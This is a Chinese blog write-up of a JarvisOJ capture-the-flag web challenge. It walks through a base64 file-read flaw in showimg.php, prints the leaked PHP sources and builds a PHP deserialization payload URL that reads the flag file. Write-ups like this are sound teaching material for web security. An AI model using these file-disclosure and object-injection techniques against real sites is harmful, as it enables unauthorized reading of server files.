• web-神盾局的秘密


    题目地址

    http://web.jarvisoj.com:32768/

    首页是一张图片

     查看源码,看到了一些猫腻,showing.php     c2hpZWxkLmpwZw==是base64编码    解码成shield.jpg

     我们尝试输入一下,得到了一堆乱码,可以确定是一个文件包含漏洞,可以任意读取服务器文件,文件名用base64加密

    尝试读取一下shield.php(c2hpZWxkLnBocA==)

    view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
    <?php
        $f = $_GET['img'];
        if (!empty($f)) {
            $f = base64_decode($f);
            if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
            && stripos($f,'pctf')===FALSE) {
                readfile($f);
            } else {
                echo "File not found!";
            }
        }
    ?>

    过滤了切换目录的字符和pctf

    之后我们尝试获取index.php的页面   index.php(aW5kZXgucGhw)

    
    
    view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
    <?php 
        require_once('shield.php');
        $x = new Shield();
        isset($_GET['class']) && $g = $_GET['class'];
        if (!empty($g)) {
            $x = unserialize($g);
        }
        echo $x->readfile();
    ?>

    包含shield.php,可以通过get传参的方式,new 一个shield类,然后进行反序列化,那就读取一下shield.php(c2hpZWxkLnBocA==)的内容

    http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
    <?php
        //flag is in pctf.php
        class Shield {
            public $file;
            function __construct($filename = '') {
                $this -> file = $filename;
            }
            
            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
    ?>

    得到了shield的类的构造函数和方法,还有提示flag在pctf.php   那读取一下pctf.php(cGN0Zi5waHA=)

    http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=

     没有找到文件,前面过滤掉了pctf,所以不能直接利用,但是定义shield类里面没有进行过滤,我们利用反序列化漏洞,构造一个shield类,且属性file为pctf.php

     把上面的序列化代码复制下来,本地跑一下

    <?php
        class Shield {
            public $file;
            function __construct($filename = '') {
                $this -> file = $filename;
            }
            
            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
         $shield = new Shield('pctf.php');
        echo serialize($shield);
    ?>
    

    得到本地的结果

     然后输入最后的payload

    http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

    因为是被注释的,只能查看源码F12才能找到flag

    考察点

    文件包含漏洞

    反序列化漏洞

  • 相关阅读:
    ES6参考---Generator函数
    ES6参考---for...of方法
    ES6参考---Symbol属性
    ES6参考---形参默认值
    ES6参考---...运算符
    ES6参考---箭头函数
    legend3---一些手机浏览器打开网站提示安全证书有问题
    legend3---cdn加速oss域名配置问题
    一位草根炒房者的挣扎10年 竟落得如此下场
    LINUX:解压问题tar: Child returned status
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11649250.html
Copyright © 2020-2023  润新知